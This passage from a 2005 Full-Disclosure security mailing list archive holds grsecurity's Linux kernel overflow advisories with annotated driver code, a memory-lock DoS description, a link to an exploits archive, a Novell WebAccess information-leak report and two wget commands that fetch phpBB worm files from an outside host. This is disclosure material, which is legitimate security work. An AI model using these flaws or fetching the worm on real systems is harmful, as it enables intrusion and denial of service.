                ^ copy_from_user with size possibly > PAGE_SIZE
>                goto error;
...
>                if (copy_to_user(sic->data, buffer, out_len))
                ^ copy_to_user with size possibly > PAGE_SIZE
>                        err = -EFAULT;

5) 2.2/2.4/2.6 moxa serial driver bss overflow

In drivers/char/moxa.c:

>static unsigned char moxaBuff[10240];

In MoxaDriverIoctl():

>        if(copy_from_user(&dltmp, argp, sizeof(struct dl_str)))
>                return -EFAULT;
                ^ dltmp.len is user-controlled
>        if(dltmp.cardno < 0 || dltmp.cardno >= MAX_BOARDS)
>                return -EINVAL;
>                
>        switch(cmd)
>        {
>        case MOXA_LOAD_BIOS:
>                i = moxaloadbios(dltmp.cardno, dltmp.buf, dltmp.len);
                ^ called with no length checking
>                return (i);
>        case MOXA_FIND_BOARD:
>                return moxafindcard(dltmp.cardno);
>        case MOXA_LOAD_C320B:
>                moxaload320b(dltmp.cardno, dltmp.buf, dltmp.len);
                ^ called with no length checking
>        default: /* to keep gcc happy */
>                return (0);
>        case MOXA_LOAD_CODE:
>                i = moxaloadcode(dltmp.cardno, dltmp.buf, dltmp.len);
                ^ called with no length checking

In moxaloadbios():

>static int moxaloadbios(int cardno, unsigned char __user *tmp, int len)
>{
>        void __iomem *baseAddr;
>        int i;
>
>        if(copy_from_user(moxaBuff, tmp, len))
                ^ copy_from_user with no length checking
>                return -EFAULT;

In moxaloadcode():

> static int moxaloadcode(int cardno, unsigned char __user *tmp, int len)
> {
>        void __iomem *baseAddr, *ofsAddr;
>        int retval, port, i;
>
>        if(copy_from_user(moxaBuff, tmp, len))
                ^ copy_from_user with no length checking
>                return -EFAULT;

In moxaload320b():

>static int moxaload320b(int cardno, unsigned char __user *tmp, int len)
>{
>        void __iomem *baseAddr;
>        int i;
>
>        if(len > sizeof(moxaBuff))
                ^ signed int has only upper-bound checked
>                return -EINVAL;
>        if(copy_from_user(moxaBuff, tmp, len))
                ^ copy_from_user with len possibly > sizeof(moxaBuff)
>                return -EFAULT;

6) 2.4/2.6 RLIMIT_MEMLOCK bypass and (2.6) unprivileged user DoS

Taken from the mail from the PaX team to Linus and Andrew Morton:

the 'culprit' patch is how the default RLIM_MEMLOCK and the privilege
to call mlockall have changed in 2.6.9. namely, the former has been
reduced to 32 pages while the latter has been relaxed to allow it for
otherwise unprivileged users if their RLIM_MEMLOCK is bigger than the
currently allocated vm. which is normally good enough, except as you
now know there's a path that can increase the allocated vm without
checking for RLIM_MEMLOCK.

i'm attaching a small i386-specific demonstration, use the makefile to
create the small self-contained executable, e.g., 'make alloc=0x100000'
to have it allocate 1MB of stack and lock all of it. for demonstrating
the full effect of locking down arbitrary amounts of memory, you'll have
to set your stack rlimit to infinity (ulimit -s unlimited) and allocate
as much memory as your memory overcommit policy allows (this may mean
that you'll have to run multiple instances, if you have lots of memory).

surprisingly, in my tests the kernel survived pretty well, it just crawled
to a snail's speed as every mapped page access required disk i/o ;-). i
didn't play with overcommit policies nor any special workloads, so there
may very well be worse effects with that much locked memory. in any case,
this may warrant 2.6.10.1 because as soon as the fix goes into -bk, anyone
reading the logs can easily figure it out and reproduce the 'exploit'.

the attached patch is the excerpt from PaX that survives the exploit, so
i think it's good to go.

7) Attachments

expoits_and_patches.tgz can be downloaded at:
http://grsecurity.net/~spender/exploits_and_patches.tgz

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/95ad4b88/attachment.bin 

From michael.horseman at capgemini.com  Fri Jan  7 18:24:21 2005
From: michael.horseman at capgemini.com (Horseman, Michael  W.)
Date: Fri, 7 Jan 2005 13:24:21 -0500
Subject: [Full-Disclosure] Novell WebAcces
Message-ID: <3543A133C09BAA4B80AA16D2FDEF9F7399BC2A@caonmastxm06.na.capgemini.com>


I think maybe you're seeing the directory traversal vulnerability
identified in Groupwise.  Groupwise 6 had this vulnerability as well as
previous versions if I remember right.

http://xforce.iss.net/xforce/xfdb/7287



Thanks,

Michael Horseman

IT Security Analyst

Capgemini

michael.horseman at capgemini.com <mailto:michael.horseman at capgemini.com>

w: 816.414.4925



"Any sufficiently advanced technology is indistinguishable from magic."
- Arthur C. Clarke

________________________________

From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of noAcces
Sent: Friday, January 07, 2005 3:42 AM
To: full-disclosure at lists.netsys.com
Subject: [Full-Disclosure] Novell WebAcces





I was playing around when I found a small problem with Novell's
WebAcces.
With User.lang you can give in you're language as parameter I tried some
different stuff there and when I tried "> so that the URL would be
hxxp://www.notsohappyserver.com/servlet/webacc?User.Lang="> a Link
apeared I clicked it and so I found some unprotected dirs.
The problem is that the file
hxxps://www.notsohappyserver/com/novell/webaccess/WebAccessUninstall.ini
contains info about the servername context and install paths
It seems that this is working on almost every webacces server.



Kerst actie bij Lycos Mail: 50% korting op Lycos Xtra en Max!
<http://mail.lycos.nl/?TARGETCODE=NL_email_footer_xmas>



This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient,  you are not authorized to read, print, retain, copy, disseminate,  distribute, or use this message or any part thereof. If you receive this  message in error, please notify the sender immediately and delete all  copies of this message.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/58aa843c/attachment.html 

From krmaxwell at gmail.com  Fri Jan  7 18:52:58 2005
From: krmaxwell at gmail.com (Kyle Maxwell)
Date: Fri, 7 Jan 2005 12:52:58 -0600
Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions
In-Reply-To: <OF25647610.14594DD0-ON48256F82.003623C4@guoco.com>
References: <OF25647610.14594DD0-ON48256F82.003623C4@guoco.com>
Message-ID: <4f0e191c05010710521ebd599@mail.gmail.com>

On Fri, 7 Jan 2005 17:57:55 +0800, irfan.syed at guoco.com
<irfan.syed at guoco.com> wrote:
>  
> Yeah I tried it too, and the only thing it found on my PC was VNC server. I
> was, however, impressed that the tool explained very well what the program
> was for and how it could be used for spying. 

It picked up WinPCap libraries on my system (from the Ethereal
install), nothing else. I wouldn't have much else on there for it to
pick up, as I only use IE for some internal corporate apps that
require it. But the install was nice and seemed to be very
user-friendly for the non-techie types out there.

It may not be perfect (I thought the Spyware Community was essentially
sending back to a central site, didn't realize it was P2P, this
requires a closer look) but at a minimum it's nice to see MS giving
this some attention. Fix the IE holes and security model and maybe
we'd go even further... But that's a flame war for another day.

-- 
Kyle Maxwell
[krmaxwell at gmail.com]


From davek_throwaway at hotmail.com  Fri Jan  7 18:42:17 2005
From: davek_throwaway at hotmail.com (Dave Korn)
Date: Fri, 7 Jan 2005 18:42:17 -0000
Subject: [Full-Disclosure] Re: ndisasm bad opcodes interpretation
References: <d8360fbf0501070830475ef080@mail.gmail.com>
Message-ID: <crmlaa$ioj$1@sea.gmane.org>


"shadown" <shadown at gmail.com> wrote in message
news:d8360fbf0501070830475ef080 at mail.gmail.com...

>
> i.e:
> 0000001C 7565 jnz 0x83
> sould had been jnz 0x65

  No it shouldn't. Engage brain before opening mouth:  what is 0x65 + 0x1e
(== address of byte immediately after the instruction in question)?  Google
"pc-relative branch displacement" for more.  Or learn some assembler
programming before trying to use a disassembler.

    cheers,
      DaveK
-- 
Can't think of a witty .sigline today....





From gahmad at securityfocus.com  Fri Jan  7 20:10:29 2005
From: gahmad at securityfocus.com (Greg Ahmad)
Date: Fri, 7 Jan 2005 13:10:29 -0700 (MST)
Subject: [Full-Disclosure] Re: grsecurity 2.1.0 release / 5 Linux kernel
	advisories
In-Reply-To: <20050107181853.GA12617@grsecurity.net>
References: <20050107181853.GA12617@grsecurity.net>
Message-ID: <Pine.LNX.4.58.0501071310250.27706@mail.securityfocus.com>

looks good.

On Fri, 7 Jan 2005, Brad Spengler wrote:

> Let's try this again, since web archives don't like multipart
> attachments.
>
> grsecurity 2.1.0 release / Linux Kernel advisories
> --------------------------------------------------------------------
>
> Table Of Contents:
> 1) grsecurity 2.1.0 announcement and changelog
> 2) Linux Kernel advisory introduction
> 3) 2.4/2.6 random poolsize sysctl handler integer overflow
> 4) 2.6 scsi ioctl integer overflow and information leak
> 5) 2.2/2.4/2.6 moxa serial driver bss overflow
> 6) 2.4/2.6 RLIMIT_MEMLOCK bypass and (2.6) unprivileged user DoS
> 7) Attachments, including patches for all vulns, a POC for #3, and a
>    working exploit for #6
>
> 1) grsecurity 2.1.0 announcement and changelog
>
> I'm happy to announce the release of grsecurity 2.1.0.  It is being
> released initially for the 2.4.28 and 2.6.10 kernels and will be ported
> immediately to the next kernel versions when released.  It can be
> downloaded at http://www.grsecurity.net.  We are still actively seeking
> sponsorship, so if you benefit from using grsecurity and like the
> changes you see in 2.1.0, please consider sponsoring the future
> development and maintenance of the project.
> Changes in this release include:
>
> * New configuration file for full learning: /etc/grsec/learn_config
> * Learning heuristics have been optimized to better detect temporary
>   file usage and reduce appropriately.
> * Learning heuristics have been modified to weight against reducing
>   certain additional important directories.
> * User/group ID transitions have been added to the learning system.
>   Any subject transitioning to less than 3 different users or 3
>   different groups that has CAP_SETUID or CAP_SETGID will have ID
>   transitions added.  This is useful to automatically secure
>   applications that only transition to one or few users/groups like
>   nobody/nogroup.
> * /proc/<pid>/* accesses are automatically rewritten as /proc by grlearn
>   before being cached and written to disk
> * The inherit-based learning usable through the learning configuration
>   file is usable through a regular policy as well simply by adding "i"
>   instead of "l" to a subject for learning.
> * Inheritance is preserved whenever possible across uid/gid changes when
>   the role resulting from the uid/gid change is no different from that
>   before the change.
> * A complete ~95-99% efficient LFU-hash hybrid caching system has been
>   added that greatly reduces the number of full object lookups by
>   caching the result.  The cache essentially mimics the filesystem
>   around where applications are operating: nearly equivalent to having
>   an object for every file and directory on the system, but without the
>   wasted memory.  The cache is invalidated on creates and deletes that
>   cause a change in policy (through policy re-creation) and on renames
>   of directories or symlinks.
> * Memory usage for non-full learning has been significantly reduced and
>   all memory leaks have been plugged.
> * A new object mode has been added for hardlinks for more fine-grained
>   permissions.  See the sample policy file for information on what
>   permissions are required to create a hardlink.  Its corresponding
>   audit flag has been added as well.
> * Destruction of unused shared memory feature added and included in
>   the sysctl framework of grsecurity.  This feature was ported from
>   Openwall (http://www.openwall.com/linux).
> * A new option was added to the sysctl feature that enables at boot all
>   features enabled in the kernel configuration, while allowing them to
>   be changed via the sysctl interface until grsec_lock is set.
> * Policy statistics have been added to gradm that provide useful,
>   security-relevant information on the policy you are loading into the
>   kernel.  You can view these statistics when enabling the system by
>   running gradm -V -E.
> * Interactive performance of full-learning has improved by ~15% by
>   reducing the number of context switches caused by grlearn doing small
>   disk writes by using a write buffer (writing more once instead of
>   less 1000 times) and keeping track of log entry lengths for quicker
>   string matching.  A signal handler was added to grlearn so that when
>   learning is stopped, the write buffer is flushed to disk.
> * Kernel headers are no longer used for gradm
> * Updates from the PaX project (http://pax.grsecurity.net)
> * Bugfixes for things mentioned on the list, etc
>
> When patching your kernel for the 2.4.28 and 2.6.10 kernels, since they
> contain several vulnerabilities, make sure to also apply the secfix
> patches located on the website.
>
> 2) Linux Kernel advisory introduction
>
> Let me begin by giving you a timeline:
>
> December 15th: I send Linus a mail with a subject line of
> "RLIMIT_MEMLOCK bypass with locked stack"
> December 27th: The PaX team sends Linus a mail with a subject line of
> "2.6.9+ mlockall/expand_down DoS by unprivileged users"
> January 2nd: The PaX team resends the previous mail to Linux and Andrew
> Morton
>
> Between December 15th and today, Linus has committed many changes to
> the kernel.  Between January 2nd and today, Andrew Morton has committed
> several changes to the kernel.  3 weeks is a sufficient amount of time
> to be able to expect even a reply about a given vulnerability.  A patch
> for the vulnerability was attached to the mails, and in the PaX team's
> mails, a working exploit as well.  Private notification of
> vulnerabilities is a privilege, and when that privilege is abused by not
> responding promptly, it deserves to be revoked.
>
> Using 'advanced static analysis': "cd drivers; grep copy_from_user -r ./* |
> grep -v sizeof", I discovered 4 exploitable vulnerabilities in a matter
> of 15 minutes.  More vulnerabilities were found in 2.6 than in 2.4.
> It's a pretty sad state of affairs for Linux security when someone can
> find 4 exploitable vulnerabilities in a matter of minutes.  Since there
> was no point in sending more vulnerability reports when the first hadn't
> even been responded to, I'm including all four of them in this mail, as
> well as a POC for the poolsize bug.  The other bugs can have POCs
> written
> for just as trivially.  The poolsize bug requires uid 0, but not any
> root capabilities.  The scsi and serial bugs depend on the permissions
> of their respective devices, and thus can possibly be exploited as
> non-root.  The scsi bug in particular has a couple different attack
> vectors that I haven't even bothered to investigate.  Some of these bugs
> have gone unfixed for several years.
>
> The PaX team discovered the mlockall DoS. It has been fixed in PaX for
> 2 years.  I have attached their mail and exploit code.
>
> I'd really like to know what's being done about this pitiful trend of
> Linux security, where it's 10x as easy to find a vulnerability in the
> kernel than it is in any app on the system, where isec releases at
> least one critical vulnerability for each kernel version.  I don't see
> that the 2.6 development model is doing anything to help this (as the
> spectrum of these vulnerabilities demonstrate), by throwing
> experimental code into the kernel and claiming it to be "stable".
> Hopefully now these vulnerabilities will be fixed in a timely manner.
>
> 3) 2.4/2.6 random poolsize sysctl handler integer overflow
>
> In drivers/char/random.c:
>
> at poolsize_strategy():
> >        int     len;
>         ^ signed integer
> >
> >        sysctl_poolsize = random_state->poolinfo.POOLBYTES;
> >
> >        /*
> >
> >        /*
> >         * We only handle the write case, since the read case gets
> >         * handled by the default handler (and we don't care if the
> >         * write case happens twice; it's harmless).
> >         */
> >        if (newval && newlen) {
> >                len = newlen;
>                 ^ unsigned int converted to signed
> >                if (len > table->maxlen)
>                 ^ comparison of two signed integers
> >                        len = table->maxlen;
> >                if (copy_from_user(table->data, newval, len))
>                 ^ copy_from_user with len possibly > table->maxlen
>
> 4) 2.6 scsi ioctl integer overflow and information leak
>
> In drivers/block/scsi_ioctl.c:
>
> at sg_scsi_ioctl():
> >        struct request *rq;
> >        int err, in_len, out_len, bytes, opcode, cmdlen;
>         ^ in_len, out_len are signed int
> >        char *buffer = NULL, sense[SCSI_SENSE_BUFFERSIZE];
> >
> >        /*
> >         * get in an out lengths, verify they don't exceed a page worth of data
> >         */
> >        if (get_user(in_len, &sic->inlen))
>         ^ in_len is user-controlled
> >                return -EFAULT;
> >        if (get_user(out_len, &sic->outlen))
>         ^ out_len is user-controlled
> >                return -EFAULT;
> >        if (in_len > PAGE_SIZE || out_len > PAGE_SIZE)
>         ^ signed int only has upper bound checked
> >                return -EINVAL;
> >        if (get_user(opcode, sic->data))
> >                return -EFAULT;
> >        bytes = max(in_len, out_len);
> ...
> >        rq->cmd_len = cmdlen;
> >        if (copy_from_user(rq->cmd, sic->data, cmdlen))
> >                goto error;
> >
> >        if (copy_from_user(buffer, sic->data + cmdlen, in_len))
>                 ^ copy_from_user with size possibly > PAGE_SIZE
> >                goto error;
> ...
> >                if (copy_to_user(sic->data, buffer, out_len))
>                 ^ copy_to_user with size possibly > PAGE_SIZE
> >                        err = -EFAULT;
>
> 5) 2.2/2.4/2.6 moxa serial driver bss overflow
>
> In drivers/char/moxa.c:
>
> >static unsigned char moxaBuff[10240];
>
> In MoxaDriverIoctl():
>
> >        if(copy_from_user(&dltmp, argp, sizeof(struct dl_str)))
> >                return -EFAULT;
>                 ^ dltmp.len is user-controlled
> >        if(dltmp.cardno < 0 || dltmp.cardno >= MAX_BOARDS)
> >                return -EINVAL;
> >
> >        switch(cmd)
> >        {
> >        case MOXA_LOAD_BIOS:
> >                i = moxaloadbios(dltmp.cardno, dltmp.buf, dltmp.len);
>                 ^ called with no length checking
> >                return (i);
> >        case MOXA_FIND_BOARD:
> >                return moxafindcard(dltmp.cardno);
> >        case MOXA_LOAD_C320B:
> >                moxaload320b(dltmp.cardno, dltmp.buf, dltmp.len);
>                 ^ called with no length checking
> >        default: /* to keep gcc happy */
> >                return (0);
> >        case MOXA_LOAD_CODE:
> >                i = moxaloadcode(dltmp.cardno, dltmp.buf, dltmp.len);
>                 ^ called with no length checking
>
> In moxaloadbios():
>
> >static int moxaloadbios(int cardno, unsigned char __user *tmp, int len)
> >{
> >        void __iomem *baseAddr;
> >        int i;
> >
> >        if(copy_from_user(moxaBuff, tmp, len))
>                 ^ copy_from_user with no length checking
> >                return -EFAULT;
>
> In moxaloadcode():
>
> > static int moxaloadcode(int cardno, unsigned char __user *tmp, int len)
> > {
> >        void __iomem *baseAddr, *ofsAddr;
> >        int retval, port, i;
> >
> >        if(copy_from_user(moxaBuff, tmp, len))
>                 ^ copy_from_user with no length checking
> >                return -EFAULT;
>
> In moxaload320b():
>
> >static int moxaload320b(int cardno, unsigned char __user *tmp, int len)
> >{
> >        void __iomem *baseAddr;
> >        int i;
> >
> >        if(len > sizeof(moxaBuff))
>                 ^ signed int has only upper-bound checked
> >                return -EINVAL;
> >        if(copy_from_user(moxaBuff, tmp, len))
>                 ^ copy_from_user with len possibly > sizeof(moxaBuff)
> >                return -EFAULT;
>
> 6) 2.4/2.6 RLIMIT_MEMLOCK bypass and (2.6) unprivileged user DoS
>
> Taken from the mail from the PaX team to Linus and Andrew Morton:
>
> the 'culprit' patch is how the default RLIM_MEMLOCK and the privilege
> to call mlockall have changed in 2.6.9. namely, the former has been
> reduced to 32 pages while the latter has been relaxed to allow it for
> otherwise unprivileged users if their RLIM_MEMLOCK is bigger than the
> currently allocated vm. which is normally good enough, except as you
> now know there's a path that can increase the allocated vm without
> checking for RLIM_MEMLOCK.
>
> i'm attaching a small i386-specific demonstration, use the makefile to
> create the small self-contained executable, e.g., 'make alloc=0x100000'
> to have it allocate 1MB of stack and lock all of it. for demonstrating
> the full effect of locking down arbitrary amounts of memory, you'll have
> to set your stack rlimit to infinity (ulimit -s unlimited) and allocate
> as much memory as your memory overcommit policy allows (this may mean
> that you'll have to run multiple instances, if you have lots of memory).
>
> surprisingly, in my tests the kernel survived pretty well, it just crawled
> to a snail's speed as every mapped page access required disk i/o ;-). i
> didn't play with overcommit policies nor any special workloads, so there
> may very well be worse effects with that much locked memory. in any case,
> this may warrant 2.6.10.1 because as soon as the fix goes into -bk, anyone
> reading the logs can easily figure it out and reproduce the 'exploit'.
>
> the attached patch is the excerpt from PaX that survives the exploit, so
> i think it's good to go.
>
> 7) Attachments
>
> expoits_and_patches.tgz can be downloaded at:
> http://grsecurity.net/~spender/exploits_and_patches.tgz
>
>


From uberguidoz at gmail.com  Fri Jan  7 21:07:52 2005
From: uberguidoz at gmail.com (GuidoZ)
Date: Fri, 7 Jan 2005 13:07:52 -0800
Subject: [Full-Disclosure] RE: Full-Disclosure Digest, Vol 1, Issue 2144
In-Reply-To: <2E179580659E2C4390C019BE7EAC7FC0B53CC3@ls-exchange-11.uk.intra.syntegra.com>
References: <2E179580659E2C4390C019BE7EAC7FC0B53CC3@ls-exchange-11.uk.intra.syntegra.com>
Message-ID: <b7bc1b1f0501071307511f3d37@mail.gmail.com>

Try here instead:
 - http://lists.netsys.com/mailman/listinfo/full-disclosure

Goes for anyone who wishes to be removed. ;) Save this email for
suture reference.


On Thu, 30 Dec 2004 15:34:13 -0000, steve.dangerfield at syntegra.com
<steve.dangerfield at syntegra.com> wrote:
> Please unsubscribe me from this list
> 
[BIG SNIP]


From shadown at gmail.com  Fri Jan  7 21:14:10 2005
From: shadown at gmail.com (shadown)
Date: Fri, 7 Jan 2005 18:14:10 -0300
Subject: [Full-Disclosure] Re: ndisasm bad opcodes interpretation
In-Reply-To: <d8360fbf0501070830475ef080@mail.gmail.com>
References: <d8360fbf0501070830475ef080@mail.gmail.com>
Message-ID: <d8360fbf0501071314536b2ddf@mail.gmail.com>

my mistake...

short jump:
it's JMP_Address + 2 + Second_Byte_value = Next_Instruction_Address

shadown at twister:~/tmp$ echo -n -e "\x75\x65" > a
shadown at twister:~/tmp$ ndisasm -b32 a
00000000  7565              jnz 0x67
shadown at twister:~/tmp$ ~/instalar/libdisassemble/disassemble.py a 0x0 0xff
Disassembling file a at offset: 0x0
 00000000:   jnz           0x65

this is where my mistake came from ;)
thnx

On Fri, 7 Jan 2005 13:30:21 -0300, shadown <shadown at gmail.com> wrote:
> Hi,
> 
> not a vulnerability but could be a headache while reverse ingineering
> or binary auditing/interpreting, etc. (ok anything related with
> disassembling)
> get wrong values.
> 
> shadown at twister:/tmp$ ndisasm -b32 salida
> 00000000 49 dec ecx
> 00000001 6E outsb
> 00000002 7465 jz 0x69
> 00000004 6C insb
> 00000005 6563747561 arpl [gs:ebp+esi*2+0x61],si
> 0000000A 6C insb
> 0000000B 207072 and [eax+0x72],dh
> 0000000E 6F outsd
> 0000000F 7065 jo 0x76
> 00000011 7274 jc 0x87
> 00000013 7920 jns 0x35
> 00000015 6F outsd
> 00000016 66204968 o16 and [ecx+0x68],cl
> 0000001A 61 popa
> 0000001B 51 push ecx
> 0000001C 7565 jnz 0x83
> 0000001E 52 push edx
> 0000001F 00 db 0x00
> shadown at twister:/tmp$ ndisasm -V
> NDISASM version 0.98.38 compiled Jan 7 2005
> shadown at twister:/tmp$
> 
> i.e:
> 0000001C 7565 jnz 0x83
> sould had been jnz 0x65
> 
> I've just tested ndisasm 0.98.36 and 0.98.38
> 
> cheers.
> shadown
> --
> Sergio Alvarez
> Security, Research & Development
> IT Security Consultant
> email: shadown at gmail.com
> 
> This message is confidential. It may also contain information that is
> privileged or otherwise legally exempt from disclosure. If you have
> received it by mistake please let us know by e-mail immediately and
> delete it from your system; should also not copy the message nor
> disclose its contents to anyone. Many thanks.
> 


-- 
Sergio Alvarez
Security, Research & Development
IT Security Consultant
email: shadown at gmail.com

This message is confidential. It may also contain information that is
privileged or otherwise legally exempt from disclosure. If you have
received it by mistake please let us know by e-mail immediately and
delete it from your system; should also not copy the message nor
disclose its contents to anyone. Many thanks.


From Valdis.Kletnieks at vt.edu  Fri Jan  7 21:19:50 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Fri, 07 Jan 2005 16:19:50 -0500
Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions 
In-Reply-To: Your message of "Fri, 07 Jan 2005 12:52:58 CST."
	<4f0e191c05010710521ebd599@mail.gmail.com> 
References: <OF25647610.14594DD0-ON48256F82.003623C4@guoco.com>
	<4f0e191c05010710521ebd599@mail.gmail.com>
Message-ID: <200501072119.j07LJo3a008443@turing-police.cc.vt.edu>

On Fri, 07 Jan 2005 12:52:58 CST, Kyle Maxwell said:

> It may not be perfect (I thought the Spyware Community was essentially
> sending back to a central site, didn't realize it was P2P, this
> requires a closer look) but at a minimum it's nice to see MS giving
> this some attention. Fix the IE holes and security model and maybe
> we'd go even further... But that's a flame war for another day.

How much will Joe Sixpack pay for a fixed IE, given that the current broken
one is marketed as a mandatory free anal suppository, and Firefox is free?

How much will Joe Sixpack pay for a fixed security model, when he wouldn't
recognize one if it bit him where the IE was inserted?

How much will Joe Sixpack pay for "Spyware Prevention" if it's accompanied
by a slick ad campaign, (like AOL's current "I want my computer to suffer
a complete system meltdown" ads...)?

Remember - Microsoft is a business and wants to maximize the profit, even if
it means shipping sub-standard product and then charging extra to fix the issues...


-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/acb93ebf/attachment.bin 

From davek_throwaway at hotmail.com  Fri Jan  7 18:42:17 2005
From: davek_throwaway at hotmail.com (Dave Korn)
Date: Fri, 7 Jan 2005 18:42:17 -0000
Subject: [Full-Disclosure] Re: ndisasm bad opcodes interpretation
References: <d8360fbf0501070830475ef080@mail.gmail.com>
Message-ID: <crmlaa$ioj$1@sea.gmane.org>


"shadown" <shadown at gmail.com> wrote in message
news:d8360fbf0501070830475ef080 at mail.gmail.com...

>
> i.e:
> 0000001C 7565 jnz 0x83
> sould had been jnz 0x65

  No it shouldn't. Engage brain before opening mouth:  what is 0x65 + 0x1e
(== address of byte immediately after the instruction in question)?  Google
"pc-relative branch displacement" for more.  Or learn some assembler
programming before trying to use a disassembler.

    cheers,
      DaveK
-- 
Can't think of a witty .sigline today....






From shadown at gmail.com  Fri Jan  7 16:30:21 2005
From: shadown at gmail.com (shadown)
Date: Fri, 7 Jan 2005 13:30:21 -0300
Subject: [Full-Disclosure] ndisasm bad opcodes interpretation
Message-ID: <d8360fbf0501070830475ef080@mail.gmail.com>

Hi,

not a vulnerability but could be a headache while reverse ingineering
or binary auditing/interpreting, etc. (ok anything related with
disassembling)
get wrong values.

shadown at twister:/tmp$ ndisasm -b32 salida
00000000 49 dec ecx
00000001 6E outsb
00000002 7465 jz 0x69
00000004 6C insb
00000005 6563747561 arpl [gs:ebp+esi*2+0x61],si
0000000A 6C insb
0000000B 207072 and [eax+0x72],dh
0000000E 6F outsd
0000000F 7065 jo 0x76
00000011 7274 jc 0x87
00000013 7920 jns 0x35
00000015 6F outsd
00000016 66204968 o16 and [ecx+0x68],cl
0000001A 61 popa
0000001B 51 push ecx
0000001C 7565 jnz 0x83
0000001E 52 push edx
0000001F 00 db 0x00
shadown at twister:/tmp$ ndisasm -V
NDISASM version 0.98.38 compiled Jan 7 2005
shadown at twister:/tmp$

i.e:
0000001C 7565 jnz 0x83
sould had been jnz 0x65

I've just tested ndisasm 0.98.36 and 0.98.38

cheers.
shadown
-- 
Sergio Alvarez
Security, Research & Development
IT Security Consultant
email: shadown at gmail.com

This message is confidential. It may also contain information that is
privileged or otherwise legally exempt from disclosure. If you have
received it by mistake please let us know by e-mail immediately and
delete it from your system; should also not copy the message nor
disclose its contents to anyone. Many thanks.



From Valdis.Kletnieks at vt.edu  Fri Jan  7 21:55:23 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Fri, 07 Jan 2005 16:55:23 -0500
Subject: [Full-Disclosure] RE: Full-Disclosure Digest, Vol 1, Issue 2144 
In-Reply-To: Your message of "Fri, 07 Jan 2005 13:07:52 PST."
	<b7bc1b1f0501071307511f3d37@mail.gmail.com> 
References: <2E179580659E2C4390C019BE7EAC7FC0B53CC3@ls-exchange-11.uk.intra.syntegra.com>
	<b7bc1b1f0501071307511f3d37@mail.gmail.com>
Message-ID: <200501072155.j07LtNtA019104@turing-police.cc.vt.edu>

On Fri, 07 Jan 2005 13:07:52 PST, GuidoZ said:
> Try here instead:
>  - http://lists.netsys.com/mailman/listinfo/full-disclosure
> 
> Goes for anyone who wishes to be removed. ;) Save this email for
> suture reference.

Or look at the e-mail headers for *every message*:

List-post: <mailto:full-disclosure at lists.netsys.com>
List-subscribe: <https://lists.netsys.com/mailman/listinfo/full-disclosure>, 	<mailto:full-disclosure-request at lists.netsys.com?subject=subscribe>
List-unsubscribe: <https://lists.netsys.com/mailman/listinfo/full-disclosure>, 	<mailto:full-disclosure-request at lists.netsys.com?subject=unsubscribe>
List-archive: <http://lists.netsys.com/pipermail/full-disclosure>
List-help: <mailto:full-disclosure-request at lists.netsys.com?subject=help>
List-id: Discussion of security issues <full-disclosure.lists.netsys.com>

If you use an MUA that understands RFC2369, you may even get a nice little
pull-down menu of point-and-click for these...
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/d9045432/attachment.bin 

From infsec at gmail.com  Fri Jan  7 22:03:10 2005
From: infsec at gmail.com (Willem Koenings)
Date: Sat, 8 Jan 2005 00:03:10 +0200
Subject: [Full-Disclosure] One more phpBB worm
Message-ID: <9b13f6c10501071403baa1361@mail.gmail.com>

wget -vv atlasol.com/.zk/sess_189f0f0889555397a4de5485dd611111
wget -vv atlasol.com/.zk/sess_189f0f0889555397a4de5485dd611112

all the best,

W


From shadown at gmail.com  Fri Jan  7 21:14:10 2005
From: shadown at gmail.com (shadown)
Date: Fri, 7 Jan 2005 18:14:10 -0300
Subject: [Full-Disclosure] Re: ndisasm bad opcodes interpretation
In-Reply-To: <d8360fbf0501070830475ef080@mail.gmail.com>
References: <d8360fbf0501070830475ef080@mail.gmail.com>
Message-ID: <d8360fbf0501071314536b2ddf@mail.gmail.com>

my mistake...

short jump:
it's JMP_Address + 2 + Second_Byte_value = Next_Instruction_Address

shadown at twister:~/tmp$ echo -n -e "\x75\x65" > a
shadown at twister:~/tmp$ ndisasm -b32 a
00000000  7565              jnz 0x67
shadown at twister:~/tmp$ ~/instalar/libdisassemble/disassemble.py a 0x0 0xff
Disassembling file a at offset: 0x0
 00000000:   jnz           0x65

this is where my mistake came from ;)
thnx

On Fri, 7 Jan 2005 13:30:21 -0300, shadown <shadown at gmail.com> wrote:
> Hi,
> 
> not a vulnerability but could be a headache while reverse ingineering
> or binary auditing/interpreting, etc. (ok anything related with
> disassembling)
> get wrong values.
> 
> shadown at twister:/tmp$ ndisasm -b32 salida
> 00000000 49 dec ecx
> 00000001 6E outsb
> 00000002 7465 jz 0x69
> 00000004 6C insb
> 00000005 6563747561 arpl [gs:ebp+esi*2+0x61],si
> 0000000A 6C insb
> 0000000B 207072 and [eax+0x72],dh
> 0000000E 6F outsd
> 0000000F 7065 jo 0x76
> 00000011 7274 jc 0x87
> 00000013 7920 jns 0x35
> 00000015 6F outsd
> 00000016 66204968 o16 and [ecx+0x68],cl
> 0000001A 61 popa
> 0000001B 51 push ecx
> 0000001C 7565 jnz 0x83
> 0000001E 52 push edx
> 0000001F 00 db 0x00
> shadown at twister:/tmp$ ndisasm -V
> NDISASM version 0.98.38 compiled Jan 7 2005
> shadown at twister:/tmp$
> 
> i.e:
> 0000001C 7565 jnz 0x83
> sould had been jnz 0x65
> 
> I've just tested ndisasm 0.98.36 and 0.98.38
> 
> cheers.
> shadown
> --
> Sergio Alvarez
> Security, Research & Development
> IT Security Consultant
> email: shadown at gmail.com
> 
